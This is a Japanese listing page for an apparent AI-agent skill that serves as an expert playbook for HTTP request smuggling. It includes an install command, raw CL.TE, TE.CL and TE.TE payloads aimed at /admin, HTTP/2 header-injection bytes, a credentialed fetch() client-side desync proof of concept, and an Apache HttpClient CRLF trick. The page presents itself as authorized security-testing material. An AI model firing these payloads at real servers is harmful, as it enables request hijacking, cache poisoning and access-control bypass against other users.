request-smuggling について
HTTPリクエストスマグリングの識別と検証に使う、セキュリティテスト向けスキルです。CL.TE、TE.CL、TE.TE、HTTP/2のダウングレード、クライアント側デシンクを扱い、許可された範囲での検証を重視します。
主な機能
- 01CL.TE、TE.CL、TE.TEの検証
- 02HTTP/2ダウングレードと擬似ヘッダーの分析
- 03クライアント側デシンクのシナリオ
- 04Burp Suiteとスクリプトツールの案内
- 05許可されたテストと影響抑制の指針
活用シーン
- 01プロキシとオリジンの境界解釈の差を調査
- 02HTTP/2ダウングレード後の異常なリクエスト連結を調査
- 03許可された範囲でキャッシュやキューへの影響を検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill request-smugglingインストール後、Claude Code で/request-smugglingを入力して読み込まれたか確認します。
同梱ファイルH2_SMUGGLING_VARIANTS.md
詳細
スキル:HTTP リクエストスマグリング — エキスパート向け攻撃プレイブック
AI 読み込み指示:エキスパート向け HTTP デシンク技術です。CL.TE、TE.CL、TE.TE の難読化バリアント、HTTP/2 のダウングレードと疑似ヘッダーの混乱、クライアント側デシンク(ブラウザーの
fetchパイプライン)、ツールを利用したファジングを扱います。raw HTTP/1.1 のフレーミングとリバースプロキシのトポロジーに精通していることを前提とします。これは「ヘッダーインジェクション」ではなく、ホップ間のメッセージ境界の不一致です。
ルーティングに関する注意:CDN/リバースプロキシとオリジンでリクエスト終端の境界が一致しないと疑われる場合、または H2 から H1 へのダウングレード中に異常な連結が発生する場合は、このスキルを読み込みます。
0. 関連するルーティング
- HTTP クライアントライブラリが Apache HttpClient <= 4.5.9(HTTPCLIENT-1974/1978)の場合は、ghost-bits-cast-attack を使用します。ヘッダー値に
瘍瘊(U+760D U+760A、下位バイトは\r\n)を注入すると、基盤の文字からバイトへのライターがリテラルの CRLF を出力し、CL/TE の不一致に依存せずにオリジンでリクエストを分割します。
1. クイックスタート
最初に試す CL.TE プローブ(フロントエンドは CL、バックエンドは chunked を信頼)
前提:フロントエンドは Content-Length を優先し、バックエンドは Transfer-Encoding: chunked を優先します。フロントエンドが偽の終端を受け入れるよう非常に短い CL を使い、バックエンドではチャンクの解析が続き、残りのバイトが次のリクエストとして残るようにします。
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
- フロントエンドは
Content-Length: 13に基づいて 13 バイトだけを読み取ります(つまり、0\r\n\r\nSMUGGLED、合計 13 バイト)。その時点でリクエストが完了したと判断します。 - バックエンドは chunked として解析します。
0の終端チャンクの後、SMUGGLED以降を次のリクエストの開始バイトストリームとして扱います。
最初に試す TE.CL プローブ(フロントエンドは chunked、バックエンドは CL を信頼)
前提:フロントエンドは chunked を解析し、バックエンドは Content-Length だけを読み取ります。バックエンドがチャンク長の行だけを読み取り、その後を後続リクエストとの結合用にバッファーに残すよう、CL をチャンク長の行のバイト数(一般的には 4:16 進数 2 文字 + \r\n)に設定します。
チャンクに 2 つ目のリクエストを埋め込みます(すべての改行は CRLF。35 は 16 進数のチャンク長で、53 バイトです):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
ワイヤー上で、チャンクの本文は正確に 53 バイトでなければなりません。パスやヘッダーを変更する場合は、チャンク長を再計算し、16 進数の長さの行をそれに応じて更新してください。
安全上の注意
許可された範囲内でのみテストしてください。同時に発生するスマグリングは、接続プールを汚染したり、キャッシュを破損させたり、他のテナントに影響したりする可能性があります。隔離された環境、またはトラフィックの少ない時間帯を優先してください。
1. 基本概念
定義:2 つ以上の HTTP 処理エンティティが、同じ TCP/TLS ストリーム内でリクエスト 1 の終端とリクエスト 2 の始端について異なる解釈をすることで、攻撃者が 1 つの論理リクエスト内に 部分的または完全な 2 つ目のリクエストを含められる状態です。
Client Front (proxy/WAF) Back (origin)
| | |
|==== Request A+B ===>| |
| | parses boundary #1 | parses boundary #2
| | \ | /
| | different split points
| | |
v v v
Request A (seen) Request A' + smuggled B
CRLF インジェクションとの違い:CRLF インジェクションは通常、レスポンスやヘッダー行への注入を指します。スマグリングは、RFC 7230 のメッセージフレーミング(Content-Length/chunked)の実装差を標的にします。
影響の大きい用途:WAF ルールの回避(スマグリングされた本文がフロントエンドのリクエストから見えない)、共有オリジン接続上での他ユーザーのリクエストの乗っ取り(キュー汚染)、キャッシュポイズニングの補助、認証境界の混乱です。
2. CL.TE の脆弱性
パターン:フロントエンドは Content-Length を信頼し、バックエンドは Transfer-Encoding: chunked を信頼します。
具体例(§0 と同じ):Content-Length: 13 と Transfer-Encoding: chunked の両方が存在し、本文は次のとおりです。
0\r\n\r\nSMUGGLED
バイト数:0 + \r\n + \r\n + SMUGGLED = 13。
バックエンド側の見え方:chunked ストリームは 0\r\n\r\n で終了します。SMUGGLED が METHOD SP または別の有効なリクエストプレフィックスで始まる場合、スマグリングされたリクエスト行のプレフィックスになります。
調整方法:対象が重複ヘッダー、大小文字の違い、またはスペースに敏感な場合は、Transfer-Encoding のバリアント(§4 参照)を最小限調整し、意味を維持しながら、フロントエンドが TE を無視し、バックエンドが TE を処理する組み合わせに合わせてください。
3. TE.CL の脆弱性
パターン:フロントエンドはチャンク形式として解析しますが、バックエンドは**Content-Length**(または短すぎる CL)しか読み取りません。
意図:フロントエンドは悪意のあるバイトストリーム全体をボディとして扱います。バックエンドは CL で指定された長さだけを読み取り、残りのバイトをバッファーに残して、後続の正規リクエストに連結します。
2 つ目のリクエストを埋め込んだ完全な TE.CL(§0 と同じ系列。Content-Length: 4 +最初のチャンク長行 35\r\n):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
説明:
- バックエンド(CL):メッセージボディの先頭から 4 バイト(
35\r\n)だけを読み取り、ボディが完了したと判断して、残りのバイトを TCP 読み取りバッファーに残します。 - フロントエンド(TE):ストリーム全体をチャンク形式として解析し、
GET /admin...をすでに閉じられた最初のリクエストのボディ内容として転送または消費します(製品によって異なります)。バックエンドとの境界解釈の不一致により、TE.CL が成立します。
さらに長いリクエストスマグリング(例:POST + Content-Length: 11 + x=1)では、チャンク長はおよそ 76(16 進数の 0x76 = 118 バイト)です。Content-Length: 4 でも、バックエンドが長さ行だけを読み取るようにできます。
実用上の注意:チャンク長は有効な 16 進数である必要があります。2 つ目のリクエストは、Host、パス、セッション Cookie がターゲットの要件を満たす必要があります。別のユーザーのリクエストに割り込めるかどうかは、タイミングの猶予と接続再利用の戦略によって決まります。
4. TE.TE の脆弱性
パターン:フロントエンドとバックエンドの両方が Transfer-Encoding を処理するとしていますが、どの TE 値を有効または妥当とみなすかが異なります。その結果、一方はチャンク形式と認識し、もう一方は認識しないという、同等のデシンクが発生します。
パーサーの差異を調べるため、以下の8 種類の難読化パターンを使用します(1 行で表示。\t は実際の TAB を意味します)。
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[TAB]chunked
([TAB] を実際の \x09 に置き換えます。)
Transfer-Encoding: chunked
(行頭にスペースを 1 つ入れます。)
X: X
Transfer-Encoding: chunked
(前の行の値が X で、次の行が Transfer-Encoding で始まります。これは行継続/寛容なヘッダー解析を利用しており、1 つのホップが行を誤って結合または分割する可能性があります。X と Transfer-Encoding の区切りは、対象のスタックによって \n または \r\n になります。)
Transfer-Encoding
: chunked
(フィールド名とコロンが別々の物理行にあります。一部のパーサーは、これを有効な Transfer-Encoding: chunked として扱います。)
戦略:(フロントエンド、バックエンド)の組み合わせごとに、各パターンをどちらの側が chunked として受け入れるかを調べ、その結果を §2/§3 に基づいて同等の CL.TE または TE.CL に対応付けます。
5. HTTP/2 リクエストスマグリング
H2 から H1 へのダウングレード
よくあるシナリオは、エッジが HTTP/2 に対応し、オリジンが HTTP/1.1 を使用するケースです。実装がヘッダーフィールドとボディ境界を厳密に正規化しない場合、以下のような問題が発生することがあります。
- 疑似ヘッダーから通常のヘッダーへのマッピング順序の誤り。
- 禁止されているヘッダー(特定の
Connectionの組み合わせなど)が誤って転送される。 - 重複ヘッダーの結合規則がオリジンと一致しない。
疑似ヘッダー/ヘッダーインジェクションによるスマグリング(概念的なペイロード)
攻撃対象となるのは、下流の H1 パーサーが特定のバイトを新しいリクエストの開始として扱うケースです。調査や CTF でよく使われる手法として、あるレイヤーでは無視されても、別のレイヤーでは文字どおりに扱われるリクエストに近いバイト列をヘッダー値に配置します。
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: target
意味:あるホップがヘッダー値内の文字列全体を保持し、次のホップが H1 への再構築時に誤って分割すると、\r\n\r\n の位置から新しい GET / HTTP/1.1 の解析が始まる可能性があります。
テストの方向性:
- H2 における
Transfer-Encoding/Content-Lengthの重複と大文字・小文字の扱い(H2 では小文字が必須ですが、変換レイヤーで失敗する場合があります)。 :methodまたは:pathに異常な文字が含まれる場合のダウングレード動作。- トンネリングまたは拡張 CONNECT とスマグリングの相互作用。
6. クライアント側のデシンク
シナリオ:ブラウザーのリクエストボディの処理がミドルウェアやオリジンと異なる場合、または no-cors + プリフライトの免除 によって、従来の CL.TE/TE.CL と同様のキュー効果を引き起こす非典型的なメッセージが許可される場合です(アーキテクチャによって異なります)。
HEAD + GET チェーン:一部のスタックでは、過去に HEAD レスポンスボディ、後続のパイプライン処理、または接続の再利用を誤って処理していました。具体的なブラウザーのバージョンと対象のプロキシの挙動を使って検証してください。
JavaScript PoC の形式(例示:no-cors と認証情報を指定し、GET を含む生バイト列をボディに設定):
fetch("https://target.example/vulnerable", {
method: "POST",
mode: "no-cors",
credentials: "include",
body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});
注:ブラウザーのセキュリティモデルにより、レスポンスを直接読み取ることは制限されます。成功した場合、多くはレスポンスを直接読み取る形ではなく、同じ接続上の別のリクエストへの副作用や、サーバーログ/挙動の異常として現れます。SOP、CORS、拡張機能/プロキシの要因を考慮して評価してください。
7. ツール
| ツール | 目的 |
|---|---|
| Burp Suite — HTTP Request Smuggler(BApp Store) | デシンクの自動検出、一般的なバリアント、タイミング差のチェック |
| defparam/smuggler(GitHub) | スマグリングプローブを一括生成・送信する Python スクリプト |
| dhmosfunk/simple-http-smuggler-generator(GitHub) | 生の CL.TE/TE.CL メッセージテンプレートをすばやく作成 |
使用上のアドバイス:まず、フロントエンド + オリジンの 2 ホップ経路を受動的に確認してから、影響を最小限に抑えたプローブを選択し、本番環境では同時実行数を下げてください。
8. 検出の判断ツリー
Start: reverse proxy / CDN in path?
|
NO -------------+------------- YES
| |
Low classic smuggling |
(still test H2 desync) v
Can you send TE + CL together?
|
NO -------------------+------------------- YES
| |
Test H2-only issues Front prefers which?
(pseudo-header, reset) |
+-------------------------------+-------------------------------+
| | |
CL wins TE wins errors /
| | connection
v v |
CL.TE probes TE.CL probes TE.TE obfuscation
(Sec 0,2) (Sec 0,3) (Sec 4)
| | |
v v v
Time / content / Adjust chunk Pairwise matrix:
queue poisoning sizes + CL which hop accepts
signals? alignment which variant?
| | |
+-------------------------------+-------------------------------+
|
v
Confirm with second request
smuggled (replay-safe)
or Collaborator-style side signal
高度なリファレンス
次の情報が必要な場合は、H2_SMUGGLING_VARIANTS.md も読み込んでください。
- バイト単位のペイロード例を含む H2.CL と H2.TE のバリアント
- CL.0(接続クローズによるデシンク)— 手法と検出
- Fat GET リクエストスマグリング(GET リクエスト内のボディ)
- リクエストスマグリング → キャッシュポイズニングの連鎖(レスポンスキューの不整合)
- JavaScript PoC テンプレートを使ったブラウザー Fetch API 経由のクライアント側デシンク(CSD)
- CDN/リバースプロキシ製品の挙動マトリクス(HAProxy、Nginx、Apache、Cloudflare、AWS ALB、Envoy、Varnish など)
12. 関連するルーティング
- 入力がインタープリター/クエリ言語/テンプレートに入る場合(HTTP フレーミングではない) -> インジェクションテストルーター(続いて XSS、SQLi、SSTI などを詳しく確認してください)。
- レスポンスヘッダーの分割/Location CRLF -> CRLF インジェクション。
- キャッシュとパスキーの混同 -> Web キャッシュデセプション。
パラメーターインジェクションではなく、HTTP メッセージ境界の問題だと確認できたら、一般的なインジェクションのワークフローへの誤ったルーティングを避けるため、このスキルを使い続けてください。